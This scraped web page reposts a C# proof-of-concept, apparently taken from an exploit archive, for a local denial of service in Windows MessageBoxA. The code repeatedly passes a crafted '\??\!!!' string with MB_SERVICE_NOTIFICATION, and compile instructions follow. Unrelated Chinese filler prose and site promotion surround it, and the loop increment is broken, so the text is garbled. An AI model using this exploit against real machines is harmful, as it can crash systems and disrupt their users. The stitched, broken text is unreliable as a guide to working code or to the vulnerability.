MS Windows (MessageBox) Memory Corruption Local Denial of Service

树枝上挂满了小冰晶,这是树挂,“忽如一夜春风来,千树万树梨花开”晶莹可爱,轻轻用手一碰它,便扑簌簌地飘降下来。
// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType); static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i )
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe//http://www.leftworld.net

以上就是MS Windows (MessageBox) Memory Corruption Local Denial of Service 。也许要越过青春,才能知道青春是多么自恋的一段时期。更多关于MS Windows (MessageBox) Memory Corruption Local Denial of Service 请关注haodaima.com其它相关文章!